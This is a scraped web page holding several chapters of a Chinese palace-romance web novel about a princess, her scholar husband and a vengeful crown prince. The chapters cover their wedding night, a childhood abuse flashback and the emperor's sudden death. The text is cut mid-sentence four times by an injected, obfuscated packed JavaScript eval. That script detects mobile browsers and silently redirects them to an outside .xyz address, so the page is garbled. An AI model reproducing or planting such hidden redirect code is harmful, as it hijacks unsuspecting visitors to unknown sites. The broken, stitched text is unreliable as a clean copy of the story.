;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799960|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的程度。 崔介不遑多让，甚至比她还胆怯，偷瞄都谈不上，头僵直地安在脖子上，面对的方向只有一个：一动不动地正视前方，很久才眨一次眼。 静默多时，薛柔沉不住气，慢悠悠转头，使崔介红得滴血的侧脸填满视野，声音细细的、颤颤的，犹如一根卷入朔风的丝线，岌岌可危：“奔忙一日，崔大人……不觉得累吗？” 腰酸背痛脖子僵，她已经快支撑不住了，恨不能快快卧倒大睡一觉。 但新婚之夜，那事…… 薛柔问到崔介的心坎上了，他累，身心俱疲，可相较于累，更多的是慌张与焦虑：他一心只有圣贤书，男女之情，男欢女爱，是他从未涉猎过的方面，如同禁区；这样生疏的他，一时难以进行下一步。 “……公主，累吗？” 憋了半日，崔介堪堪弹出几个字眼来。 薛柔坦诚地点点头。 崔介感觉到自己的耳朵在烧，一向处变不惊的他，在此时慌了阵脚，不知应以何种口吻去接她的话，无可奈何地任由氛围冷淡，凝固，冻结。 “崔大人，你是不是……”甫对上目光，他却低垂了眼帘，天知道薛柔花了多少勇气才大方正视他，他的行为，令她有些受挫，“不喜欢我啊？” 崔介手快一步，覆住了她隔在腿上紧紧松松的手背：“不是的，臣只是……” 只是对接下去的一切有些手足无措而已。 薛柔清晰可闻他不成规律的呼吸声。 “那……”薛柔一寸寸抓住他的手指头，崔介慌得抬头，两人视线相撞，“你我便……便安歇吧……” 崔介眼光一震，木讷道：“……好。” 束紧的帷帐，层层泻下，烛光朦胧，彼此的容颜在彼此的眼里，靠近，放大，相碰。 “崔大人，你碰的是我的眼睛……” 吻极轻，如蜻蜓点水。 崔介不言语，吻过她的眼睑，鼻尖，最后触及她的唇——搽了口脂，比花还娇的唇。 是个生涩的亲吻，浅尝辄止，然而，这对初涉情事的二人来说，足以浑身发麻，心神荡漾。 薛柔抖得厉害，后背陷入松软的被褥，嘤咛迭起。 崔介情不自禁摸着沾染了口脂的嘴巴，又鬼使神差地舔了舔——是甜的。 原来，女子用的脂粉不止有馥郁香气，更有令人流连忘返的甘甜之味。 “……公主，恕臣冒犯了。” 香甜之气勾魂摄魄，支配崔介宽衣解带，俯身采撷。 红烛帐暖，鸳鸯交颈，春宵苦短。 今夜无月，天地漆黑，东宫书房更暗一层，伸手不见五指。 方正的木床上，有一双眼骤然张开。 “崔大人，我疼……” ——那个荒唐梦境破碎前的最后一道人声。 薛怀义挺直坐起，揭被出门，径直去向浴房。 他行动轻悄，宛若鬼魅，未惊动一人。 无人发觉，自然无人烧|炭预备热水，这倒正合他意。 他需要让这副该死的身躯，凉一点，再凉一点，最好寒冷彻骨。 21. 偏袒 次日天未亮，崔介起床，盥洗穿戴完毕，全程轻手轻脚。 而后交代院子里的丫鬟们：“不必催公主起，夫人那边我亲去解释。” 崔介少年英明，前途无量，吩咐的话极有分量，这院子里的仆从们都乐意听从他的，当下几个丫鬟点头称是。 崔介回望一眼紧闭的房门，不自觉一笑，随即叫上云澜上余夫人处省晨。 余夫人一夜未合眼，满脑子尽是崔介昨晚撇下满堂宾客，毅然回婚房寻薛柔的背影，又生气又心寒。 自己的亲儿子，破天荒为一个劣迹斑斑的公主摄走心魄了，竟连大局也不顾了。 打量余夫人面色不虞，邝嬷嬷给一旁的小丫头使个眼色。 小丫头会意，撤走余夫人手边放凉了的茶，下去重添热茶。 邝嬷嬷见缝插针，纾解余夫人的心情：“夫人，昨儿少爷少夫人忙碌，歇得也迟，到现在没睡几个时辰呢，您也跟着操劳，不妨别等了，睡个回笼觉。” 余夫人脸拉得老长：“正是新婚，才要准时准点向婆母奉茶来。再说也不是我刁难人，是老祖宗传下的礼数。” 见劝不了，邝嬷嬷打消念想，恰逢换茶的小丫鬟匆匆赶回，邝嬷嬷亲手揭过茶盏，搁到余夫人面前。 “少爷。” 门口响起丫鬟问好的声音。 余夫人敛敛衣袖，原本直挺挺的腰板更板正了，一张保养得当的白脸严肃得可怕。 可瞧见崔介孤身而来，肃正的脸孔瞬时浮现疑惑。 崔介俯首见礼：“儿子向母亲请安了。” “怎的只有你一人，新妇何在？”余夫人开门见山道。 既然薛柔已嫁入崔家，那便不论过往荣宠，单按现今是崔家二的儿媳来对待就好了。 崔介无视母亲的不悦，不紧不慢道：“公主娇弱，昨日劳累，儿子便没叫下人惊醒她，尽管让她养神了。” 余夫人如闻笑话，嗤笑不住：“好啊，你入朝为官，本事也大了，三番两次为你媳妇破例。” 崔介低眉顺眼道：“公主金玉之尊，下嫁已然委屈，儿子体贴她，均是合该的。” 余夫人鼻孔里呼哧呼哧出着气，摆明恼了，邝嬷嬷及时挺身而出，捧茶端与余夫人：“夫人，吃口茶吧。” 一面张罗崔介：“少爷，时辰不早了，您就去上朝吧，别耽误了正事。” 邝嬷嬷这是在打圆场。 崔介点点头，领了好意，遥向主位的余夫人作揖称退。 余夫人哑然许久，茶水什么的半口也咽不下去，胃里火烧火燎的，猛一拍桌子，怒道：“我是造了什么孽呀，一个两个的来气我！” 邝嬷嬷连哄带劝，几乎使遍浑身解数才将人安抚稳定。 这场风波算是消停了。 薛柔实在累极，兼无人催促，直到用午膳的时候方唤三喜伺候起身。 出嫁前，不仅新娘子熟悉各种事项，新娘子的贴身宫女亦得潜心进修有关闺房的种种事宜。 三喜擎一盆热水进来，置于架子上，自行绞好湿手巾递与薛柔。 薛柔扶着床头，双腿荡在床边，不解其意：“我自己洗就是，比干用手巾擦脸要干净。” 三喜不太自在道：“您可能会……会疼，不大方便的吧……” 薛柔呆愣片刻，恍然觉悟三喜的意思，嫩豆腐似的小脸泛起浅浅红光，嗔怪道：“少胡想，我好端端的，哪里也不疼。” 教引嬷嬷说过，疼是顺其自然的结果，怎么会不疼呢？ 三喜百思不得其解，光站原地看她健步如飞至架子前，掬水洗脸，一直走神至她要干手巾，仓皇送了过去。 拭净水珠，薛柔坐于铜镜前，端详着朱砂般的嘴唇，思绪渐渐飘渺。 “崔大人，”一闪一闪的烛光下，薛柔目噙泪花，“我疼……” 一语了却，床尾微动的黑影停滞一瞬，旋即，一个低沉沙哑的声音传来：“臣去洗澡，公主休息吧。” 薛柔下意识松了口气，扯起被子盖住光秃秃的身体，心想等他洗完回来再闭眼入睡，未料体力透支，半刻挺不住，头一歪再也不觉了。 再度寻回意识，身旁空无一人，另一床被子齐整得堆叠于床尾，昨晚横七竖八的衣衫同样以一种体面的姿态悬于衣架上，好似那时的意乱情迷不过黄粱一梦而已。 “殿下，没错的话，今天理当去余夫人处敬茶来着……”三喜忽然记起这回事来。 镜中人已红妆满面、珠光宝气，薛柔拨一拨耳垂的长坠子，不以为意道：“我已晚了，索性吃过饭过去吧。” 她贵为公主，对父皇母后尚且免去了晨昏定省，打算去拜见，也全看在崔介的情面上，哪怕误了一个上午，想必余夫人也能接受的吧？ 退一万步，余夫人不接受，木已成舟，她也不具备回到过去的能耐，还能怎样。 午后，薛柔迎着春日往余夫人住处。 邝嬷嬷出门迎接，笑盈盈说：“夫人知道公主娇生惯养，禁不住昨日的劳碌，请您不必专程跑一趟了，以后的晨昏定省也一并免了，您只管把这当自己家，自由自在的。” 余夫人或许开窍，或许破罐子破摔，全部不管了，崔介愿意偏袒，薛柔愿意称霸王，都随便，把崔家的房顶揭了也随便，横竖有一干姓崔的为他们收拾烂摊子。 有这精神头，倒不如多关心关心自己，她还想多活几年呢。 薛柔心下惊奇。 传闻余夫人大大小小全是规矩，出门在外先跟人家热络地寒暄半日，别人的好话赖坏一股脑接着，绝不肯把话掉地上去。 如此一个人，竟会放她顺心而为？ 蹊跷，相当蹊跷。 “……婆母认真的？”她喊不惯婆母，酝酿一阵才不那么别扭地脱口。 及邝嬷嬷给予肯定地答复后，薛柔略略存疑，约三喜原路折回。 既然余夫人自己“开明”，那她也懒得犯矫情去追问过多，心安理得地盘算明日归宁带哪些礼物应景。 三喜一语道破玄机：“全天下的奇珍异宝全在宫里了，哪里需要精心准备礼物呢？殿下带上崔大人……带上驸马爷回去，就是最妥当的。” 话糙理不糙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799961|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛柔赞许有加：“你这丫头关键时候脑子挺灵活的嘛。” 逢景帝筹谋南征，一纸接一纸的文书、一道接一道的诏令源源不断颁布，翰林院随之晨兴夜寐，日不暇给，而景帝爱护公主，爱屋及乌，特批崔介三日假，准他早些时候回家陪公主。 饶恩典在前，崔介依然尽忠职守，起草完毕手头上的最后一封诏书，随身携带，前往东宫，呈与东宫过目。 从去年开始，太子逐步摆脱边缘化的处境，深受景帝信赖，每草拟一份诏令后，一定先由太子阅览，非军国大事，太子可自行决断，其余的，呈上御览，由圣上拍板。 崔介得皇帝赏识，主要负责整理机密文书、起草诏书等职务，因此，几乎日日同太子打交道。 然则崔介知分寸守底线，不越结党营私的雷池半步，太子自有王家扶持，崔介或是奉承或是疏远，皆无伤大雅，乃至不值一提，两人之间便长远地止步于点头之交上。 程胜照常迎崔介步入书房，只见薛怀义正伏案处理奏折，书案一角摞了高高地两摞折子，上面有红笔书写过的痕迹，看样子尽是批阅完了的。 “请太子殿下过目。”崔介说。 程胜伸手接住那卷诏书，奉上，却见薛怀义不闻不问，专心致志翻阅手中的折子。 程胜举得胳膊酸，一直咬牙硬撑着。 上次在金銮殿外，太子便似这般冷落他的，崔介记忆犹新，姑且见怪不怪，放任自流，半垂着眼睛，静临其动。 薛怀义还算仁慈，掐着程胜出糗以前，接了诏书，展开检阅。 “崔大人很急么？” 薛怀义撂下完全摊平了的诏书，抬眼看向崔介，似笑非笑。 崔介不明所以，唯好就提问作答：“臣没有急事需要经手。” “哦？”薛怀义明显笑了，带有戏谑意味的笑，“那这‘柔’字因何短了一笔呢？” 他挥手令程胜将诏书拿给崔介，道：“崔大人，回去重写一份，仔细检查好，再来送，亦为时不晚。” 话里话外，奚落崔介心急才导致的马虎。 崔介飞速扫过那一列列字迹，果然发现“柔”字赫然缺了一点，十分羞愧，忙耗费半个时辰返回翰林院，提笔重拟，字字核对无误，再交与东宫核验，总计一个半时辰。 所幸未重蹈覆辙。 两遭往返下来，天色大黑，月明星稀，待策马奔回崔府，抓上了亥时的尾巴。 薛柔知他忙，可再忙，何至于折腾到大半夜才放人走的？ 她狐疑不定，趁崔介关门沐浴的间隙，传唤云澜，细细过问。 “具体的，小人不清楚，只听说少爷往东宫送诏书，不知怎么，足足跑了两个来回。翰林院离东宫可有一段路呢，这么一套结束，小两个时辰没了。”云澜毫无保留道。 薛柔雾眉紧蹙，悄悄嘀咕：他薛怀义又在憋什么坏水，大黑天揪着人作贱！ 三喜领命留意浴房的动静，闻得有响动，立时来回。 薛柔屏退诸人，并拢双腿坐在床沿，回思昨夜种种尴尬与缱绻，心中旖旎无限，未免忐忑不安。 22. 归宁 卧房的一对红烛直燃到了后半夜。 崔介立在床下，衣冠楚楚，白净秀气的脸透着一层薄红。 “是臣不对，不知轻重……”他眼神飘忽，始终不敢正视床里拿被子遮住脸的人，“不若臣抱公主洗洗吧……” 薛柔将被子向上提一提，完全遮住由内而外散着酡红的脸，闷声推却：“大人自己去洗吧，过会我叫三喜帮忙就行……” 寝衣加小衣，不知所踪，她现在光着一副身子，千万拉不下脸来与他坦然相处，遑论被他抱在怀里上浴房了。 崔介自个也因适才帐内的放纵而无所寄颜，不执着，折下腰，一件件拾起胡乱落着的衣物，工工整整叠好，一并归置于床头的柜子上，撩袍离开。 由锦衾遮蔽成的黑暗之下，薛柔长长地、颤抖地舒了一口气。 现在，她与崔介，从身到心，再也没有隔阂与秘密了。 “三……喜！” 一起一坐，好似被车轱辘碾过般，痛到张嘴唤人都渗出一脑门冷汗的地步。 三喜应声进来，替她裹住春光，扶她慢吞吞去东耳房——此院落共东西耳房两间盥洗室，崔介习惯去西边，东边便留给她使。 水很热，坐进去，酸痛缓解不少。 三喜静悄悄伺候沐浴。 水汽氤氲，薛柔瞑目，享受此刻的松弛与静好。 同一时间，东宫书房渐次燃起灯火，一盏接一盏，亮如白昼。 薛怀义着中衣，光足走至窗前，伸手推窗。 今夜仍旧没有月亮。 又做梦了，梦里的场景依然难以启齿——素色的裀褥上，玉体横陈，血迹斑斑。 她已嫁做人妇，却至今阴魂不散，连对他的梦都不肯手下留情。 四肢百骸，有什么在跌宕，越来越热，越来越胀。 两扇门被用力拉开，呈一个大张着的形态，维持了足足半个时辰。 薛怀义衣冠齐全地回来，合上门扉，正襟危坐于书案前，托一本奏折目不转睛阅览。 看得久了，袅袅水雾凝聚成一颗水滴，自半干的鬓发间滑溜而下，于字与字之间，溅落，沁湿一小点，但它太小了，对整页纸的影响微乎其微。 好比昨夜今夜的荒诞，但凡薛怀义秘而不宣，无人可察觉。 归宁日，景帝下了早朝，直奔坤宁宫；皇后亲自下厨，做好一桌子佳肴，倚门搓手，喜待公主驸马出现。 一等再等，饭菜都快凉了，不见人来，皇后按捺不住，打发许嬷嬷出去迎迎。 许嬷嬷奉命前往，一直拐开坤宁宫外的宫道，终于瞭着所迎之人，但意外的是，人有些多，除却公主驸马以外，太子太子妃也聚在一处。 早起的时候，太子太子妃来坤宁宫请过安了，眼下怎的又要来？ 薛柔满面晦气，暗暗白了薛怀义一眼，手挽崔介说：“我们快走吧，父皇母后一准等不耐烦了。” 掏心窝子说，她对践踏薛怀义这事的热情，渐渐灭下去了。 现今她有了更要紧的人，还多余理睬他个奴才做什么。 崔介凭她攀着胳膊，那厢也不肯冷落太子，低眉颔首示意。 十公主同太子不大和睦，王媖有所耳闻，心中倒不甚介怀，横竖十公主许配了夫家，不常在宫中，碰不上几面，摩擦就少，纵然发生不快，退一步海阔天空就完，可这是她，太子不一样。 他书案上存放的那幅丹青……他大约十分重视十公主这个妹妹，那十公主态度冷漠至斯，他会不会多心，乃至伤心？ 王媖侧举双目，却见太子神色如常，究竟茫然了。 他心深似海，叫她难以窥测半分。 “十妹妹她娇纵任性久了，一年半载的改不过来，你多多担待。”薛怀义微笑道。 王媖不禁浮想联翩：明明十公主是跟你过不去，青天白日翻你白眼，你竟有胸襟安抚我担待她……你是怎么想的呢？ “这是自然。”哪怕薛柔真冲王媖撒泼，王媖亦做好心理准备进行退让，何况薛柔并未针对她，“说到底，十妹妹年轻，气盛些情有可原。” 薛怀义笑意未褪：“走吧，你们姑嫂理当打打交道。” 是啊，她当嫂嫂的，大几个月以来只和小姑子说过三两句话，传出去未免有失体面。 王媖点点头。 许嬷嬷先后请入四人，瞧薛怀义王媖又过来，皇后持三分疑虑，正欲询问，王媖走上前笑说：“儿臣念着妹妹与驸马归宁，便想过来，大家认一认，熟悉熟悉，太子也是一样的意思。” 皇后无可指摘，笑道：“你们有心了，快坐下一齐用膳吧。” 言下，命人添两副碗筷上桌。 不巧，薛柔右手边挨着薛怀义，众目睽睽，不便提换位置，就挪着椅子尽可能向崔介靠近，引得景帝笑言打趣：“你且收敛收敛，你不害羞，小崔爱卿可未必。” 在座目光齐往崔介身上汇集。 崔介自稳如泰山，夹一块酥排骨放入薛柔身前的碟子里，后笑回景帝：“公主愿意亲近微臣，微臣荣幸之至。” 她想离太子远些，尽管依她就是，至于其中缘故，又有什么打紧的。 薛柔窃喜非常，夹那块小排送入口中，多时齿颊留香。 旁边的眉目传情，薛怀义尽收眼底，呼吸不自觉乱了。 王媖眼见他又频繁向薛柔投以意味不明的眼色，也是好意，给他碟子里搁一块芙蓉糕。 太后隐约提过一嘴，他在吃食上忌讳多，点心之类的喜好，不过老生常谈的两样：芙蓉糕和绿豆糕。 “殿下，吃些解解腻吧。” 看着碟子内灿黄可口的芙蓉糕，薛怀义思潮流转，身临七年前的一个黄昏。 羸弱的少年跪于冰湖上，寒风袭来，扬雪而起，飘飘洒洒如春日柳絮，朦胧了半边暮色，可少年高昂的双目，澄澈依旧，其间所淬之愤恨，比子夜水中倒映的月亮更清明。 薛柔悉数目睹，大觉受到了挑衅，挑眉道：“我母后的芙蓉糕好吃么？看你一盘子全搜刮入肚，必然美味无比吧？” 她一脚踩上少年的膝盖，狠狠踩踏。 少年在冰面跪了一个时辰，肚子里空得可怜，而冷风一刻不停，无孔不入，直令他饥寒交迫，痛不欲生，堪堪弯折了脊背，迎风跌倒。 他有气无力，挣扎两下爬不起来，但那双眼睛，仍然在替他声张怨恨，直勾勾地瞪着薛柔。 “还敢瞪我？”盛怒之下，薛柔给他一记窝心脚，彻底将他强撑着的可怜兮兮的身子踢塌了，后背重重磕上冰层，“你怎么不掂量掂量自己几斤几两，竟也敢大吃大嚼我所偏爱的东西，完事被我逮出来，还一再爆着两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799962|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个眼珠子瞪我！” 他痛并冷着，除却微弱地喘气，办不到其他的。 他一直没响动，薛柔也怕他真顶不住死了，先叫上三喜离开这是非之地，后命三喜领几个嘴巴要紧、心眼子老实的人，把他弄回住处。 三喜顺着话问：”要不要顺道请个太医看看？” 薛柔即刻反驳：“看什么看，他那把贱骨头硬着呢，没那么容易咽气！” 后来，薛怀义一病不起，靠顿顿不落的汤药吊了一个多月，总算捡回一条命来，病根子就此缠绵不去，每逢雨雪天，膝盖疼痛难忍，严重点，走路都费劲。 这以后，他痛定思痛，决意忍辱负重，不管她出什么花样磋磨他，皆忍气吞声。 于是，他从逼迫自己吃她喜欢吃的食物开始。 她爱甜掉牙的口味，他天生反感甜食。 人说潜移默化，可他仍旧厌恶那股子粘牙齁嗓子的甜，乃至变本加厉，闻一闻气味，止不住反胃。 坏处如上，好处则是，他的接受能力有了飞跃的提升，明明对那些食物作呕不已，对她的种种侮辱恨到极致，却可面不改色地予取予求，哪怕笑吟吟地承受，亦不为难事。 例如现在，他欣然领受王瑛的善意，当着薛柔的面，含笑嚼碎她独爱的芙蓉糕，吞入腹中。 她在看他，不再关注崔介，而是憎恨地看他。 她忽视了崔介，眼里只装着他的脸。 恨果然比爱来得浓烈，来得长远。 她恶劣地在他的记忆中留下浓墨重彩的一笔，那她也应长长久久地记得他，方才公平。 迎着薛柔尖锐的直视，薛怀义夹起第二块芙蓉糕，递入口里。 薛柔垂于桌子底下的手，乍然被一个大得许多的、干爽的手，握住了。 “阿柔，用膳须专心。” 是崔介，是他包住了她的手。 薛柔如鲠在喉，心忽然狂跳不休。 是她错听了吗？ 崔介唤她“阿柔”…… “来，”崔介将那碟子芙蓉糕置换到她面前，“你喜欢吃这个，多吃些。” 不错，世间万种美味，她偏爱一芙蓉糕，尤其是从薛怀义手中夺来的芙蓉糕，想必更加甘美。 “你怎知我的偏好？” 同他的寥寥几面里，她未曾提过这码子事。 崔介吃吃一笑，未作答复，眼梢却稍稍斜向薛怀义的方位。 太子与她的过节如何，他仅略窥其貌，更深的，无从得知，亦无意探究，但若一直为一盘芙蓉糕明争暗斗，引得人人瞩目，没必要。 不妨由他出手，冒犯太子一回，让一切回归正轨。 反正太子对他有敌意不是一日两日了，俗话说得好，虱子多了不怕痒，太子要觉过不去，且冲他一人就是，他甘愿受着。 便是这区区一盘芙蓉糕，让薛怀义不得不重新审视崔介。 她钟情于他，他爱惜于她…… 好一对神仙眷侣。 一个念头迅速成型： 倘或有一日被横刀夺爱，人人称颂的正人君子，会不会因此疯魔，堕入泥淖而不得翻身呢？ 如此，她还会睁着一双含情目，向那君子投以仰慕的目光么？ 有趣，实在有趣。 他已经迫不及待去看那一天了。 23. 噩耗 一日午后，薛柔跟着余夫人去看望崔老夫人。 昨儿崔老夫人出门遛弯时不当心扭到了腰，立时就扶回去请郎中来看，严重倒不算严重，只是老夫人毕竟春秋已高，禁不住一点闪失，且得卧床静养些时日。 一路无话，唯有鞋底擦过路面的声响。 薛柔无所谓，反正平日她和崔介单独住着，余夫人不用她晨昏定省，崔寿更开明，撇开十万火急之事，不往他们院里走一步，谁都不犯着谁。 余夫人却当真想通了。 管了这么些年闲事，操了这么些年闲心，抵什么用，真不如安心卸下担子。 横竖儿子前程光明，大有可为，那十公主还算安生，没怎么折腾。 这家早晚得交到年轻一辈手里，白费头脑精力纠结什么呢。 病榻前，排排站着仨人，李夫人、崔碌，及侍奉崔老夫人的大丫鬟碧绦。 李夫人向呆头呆脑的崔碌丢个眼色，后笑向崔老夫人说：“母亲，听说您伤着了，碌儿一夜没合眼，一大早上托熟人买了回春堂的药膏，对付跌打损伤很是奏效呢。” 崔碌果然托着一个小瓷瓶，接母亲的话，憨笑道：“祖母，这玩意可灵验，您搽了，要不了几天就生龙活虎的了！” 觑着崔碌呆头鹅般的表现，李夫人笑不出，但对着崔老夫人，哪好冷脸，便牵强笑道：“话糙理不糙。母亲，这药膏子确实管用，宫里的皇子们练习骑射磕着碰着，全使这个呢。” 崔介出人头地这两年，李夫人就很少来老夫人房里了，认为老夫人偏心崔介，不吝啬地夸奖崔介，对崔碌，从未做到这份上，崔老夫人为人阔达，不愿跟她计较。 今日李夫人领着崔碌前来，言语间热情似火，处处是孝敬，崔老夫人看得明白，指定是有事相求。 当下叫碧绦收起来，淡淡道：“一家人，有话直说吧。” 李夫人腮边挂着的笑凝固一刹那，旋即干干道：“母亲真是长着一双慧眼，大事小情瞒不过您。” 连捧，连拍了下崔碌的膀子：“你祖母都发话了，你还装聋作哑，快跟你祖母如是说来。” 干站着不成样子，碧绦搬来两把椅子，李夫人没坐，崔碌一屁股坐实了，李夫人正准备呵斥没规矩，崔老夫人出言拦住：“别责备他了，你也坐吧。” 李夫人嘴里答应着落座。 崔碌一对眼珠子骨碌碌左右转动，酝酿半日，一口气说下来：“我心悦八公主，可否请祖母出面，同皇后娘娘说合说合，那样，我死也值了！” 薛柔和余夫人正撞上这幕。 薛柔不禁笑出声，惊得前面的母子俩双双起身回头。 “崔……大哥喜欢我八姐姐？”薛柔盈盈上前，暗暗打量起崔碌——眉眼间和崔介有几分相像，通身气质却截然不同，崔介宛如天上月，檐上雪，而崔碌充其量是中秋时饭桌上盛放的月饼，俗不可耐，倒和薛嘉挺般配，“这是好事呀。我八姐姐年龄也不小了，舒婕妤日日为她的姻缘烦恼呢。这样吧，祖母才伤了，行动不便，我明儿正好要回宫里一遭，我替大哥向母后提一提，你看如何？” 余夫人本有心拦阻一番，一寻思大房那摊子烂事，还是少插手为妙，薛柔积极管，就随她去，她有公主的架子，底气十足，谁敢找她麻烦触她霉头，便冷眼旁观起来。 崔碌眼睛都直了，连连道好。 李夫人城府深，不信薛柔会这般好心，仍回身去恳求崔老夫人：“母亲，这到底是大事，大意不得，还是由您说道说道为妥。” 崔老夫人转眼看崔碌，见他压抑不住地雀跃，肃正道：“你老大不小，却要学识没学识，要功名没功名，可谓一事无成，公主们个个人上人，你且估量估量，可否当得起驸马的名头。” 崔碌尚未怎样，李夫人闻之色变，可耐不住老夫人位高权重，硬生生抗下难堪，笑说：“母亲说得是，崔碌他已经在改了，近来坚持挑灯夜读呢。再者，咱们崔家也是京城数一数二的人家，何必妄自菲薄……” 听李氏心比天高，油盐不进，崔老夫人不肯多说，交代碧绦：“我有些倦了，你好生送人离开吧。” 心急吃不了热豆腐，搞砸了吧。 薛柔边腹诽，便随波逐流出去。 薛嘉乃崔碌求而不得的意中人，同样是李夫人的一块心病，乃至于心一横豁出去了，挽留薛柔，苦口婆心道：“公主，我才看你是真的热心肠，情愿帮崔碌一把，那就拜托你，跟皇后娘娘张张嘴，劝一劝。能成自然皆大欢喜，我感激不尽；不成，我也认了，绝不犯矫情。” 薛柔乐得戴这顶高帽子，爽快道：“我尽力而为，待明晚从宫里回来，遣下人给你送信儿。” 愉快地约定后，隔日，薛柔如约乘轿子入宫，未至坤宁宫，不期冒出一个小太监，碍住前路，她今儿个心情明媚，网开一面，不予追究，那小太监痛哭流涕磕头谢恩，直直往坤宁宫去了。 “火急火燎成这样，真个是欠调|教了。”三喜没好气道。 万万料不到，一进坤宁宫，人来人往，毫无次序，简直乱成了一锅粥。 薛柔随便叫住一个宫女，迷茫道：“怎的了，一个个慌慌忙忙的？” 那宫女刚想答，许嬷嬷搀扶皇后迎面快走过来，薛柔不管那宫女，三步并两步上前：“母后怎么也急急忙忙的，是出什么事了吗？” 走近了看，才看清皇后眼角淌下的泪水。 “你……你父皇突发急病，昏迷不醒……” 皇后泣不成声，却不忘拽上呆傻的薛柔同上玄极殿见皇帝。 玄极殿外，五颜六色排列着许多人，上至皇亲贵胄，下至宫女太监，无不悲色满面，泫然欲泣。 薛柔随皇后赶到时，一眼见大太监龚福蹒跚而出，扑通一下跪倒在地，老泪纵横道：“皇后娘娘，十殿下，陛下他……” 不满一个时辰，宫里彻底变了样，大家都灰扑扑的、泪眼汪汪的，连老天也说翻脸就翻脸，云层越积越厚，越压越低，令人透不过气来。 薛柔心里慌极了，不敢听龚福的哭诉，纵身入殿。 龙榻前，薛怀义静悄悄伫立，闻声，慢慢转脸，冲向薛柔：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799963|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹妹，父皇想见你。” 薛柔狠狠推开他，扑倒床边，满肚子的疑惑堪堪堵在喉管，化为一阵阵呜咽。 “和……崔介……好好过日子，照顾……好……你……母……亲……” 枕头上的人，一点点闭上了眼。 薛柔不停摇着头，哪怕一个“不”字也变得陌生，难以吐露。 皇后远远立在门口，伴随皇帝殡天，慢慢合上眼，眼皮的皱褶下，坠下两行清泪。 薛柔不记得自己是如何起来，又如何躺回坤宁宫的，只瞧见崔介双目通红、满脸憔悴地守在自己身边，紧紧抓着她的手说：“我会陪着你的。” 陪？ 为何要陪？ 是了，是了…… 暂时停止的思潮重新流动起来。 薛柔挣扎着起身，忙忙找鞋穿，崔介问她干什么去，她一言不发，四处搜寻鞋子的踪迹，一遍，两遍，第三遍时，悲痛淹没了理智，她捂脸爆哭不止：“父皇……我再也没有父皇了……” 崔介无言，伸手去楼她，让她依偎于自己怀里，另只手轻轻地拍着她的背。 薛柔尽情依靠，尽情撒泪如雨，尽情歇斯底里：“我该怎么办，崔介，我该怎么办……” 崔介不会安慰人，但此情此景，他相信，无声的陪伴胜过一切语言，并加以笃行，一直伴伴她至她哭累了，靠着他的肩膀，昏昏沉沉入睡时。 她浑浑噩噩，睡梦中都在流泪，崔介心里不是滋味，将她安顿回被窝，亲自湿了手帕为她擦净脸孔，及欲抽身帮忙料理天子后事之际，手腕被人蛮力地捉住，挣脱不得。 他哀叹一声，放弃其他念头，专注守护她。 与此同时，玄极殿。 皇后钗环尽除，一身素缞，扶额坐于主位，堂下立着太子、几位御前大臣、龚福、邱院判等人。 “是谁第一时间发现陛下突然发病的？” 龚福说：“是奴才。陛下才下朝，照往常去御书房，半道上嫌热，就改道回寝宫换件轻薄的衣裳。奴才伺候更衣伺候到一半，陛下捂着心口，面色苍白，冷汗淋漓……奴才意识到不对劲，急喊人请太医，谁知还是……” 皇后接问邱院判：“那陛下是什么病症，为何如此迅速，救都救不过来？” 邱院判回话：“此症乃真心痛，来势凶猛，一旦病发，生死攸关……” 后文邱院判不忍详说，但皇后已明了了。 “陛下弥留之际，可有遗留下什么吩咐？” 皇后逼着自己临危不乱，陛下暴毙，宫里骤然没了主心骨，她再稳不住神，那整个国家必然乱套了。 龚福一直死守当场，泪眼朦胧道：“留下了口头遗诏，宣任太子殿下继位……” 皇后心如刀绞，强忍悲痛，一一安排后事。 当中头等要紧的一件：国丧期间，由太子监国，待二十七日丧期满，正式举行登基大典。 薛怀义慨然受命，而那沉痛躬低的身姿下，赫然是即将问鼎权力之巅的快意。 薛柔，姑且由你多逍遥一月。 24. 国丧 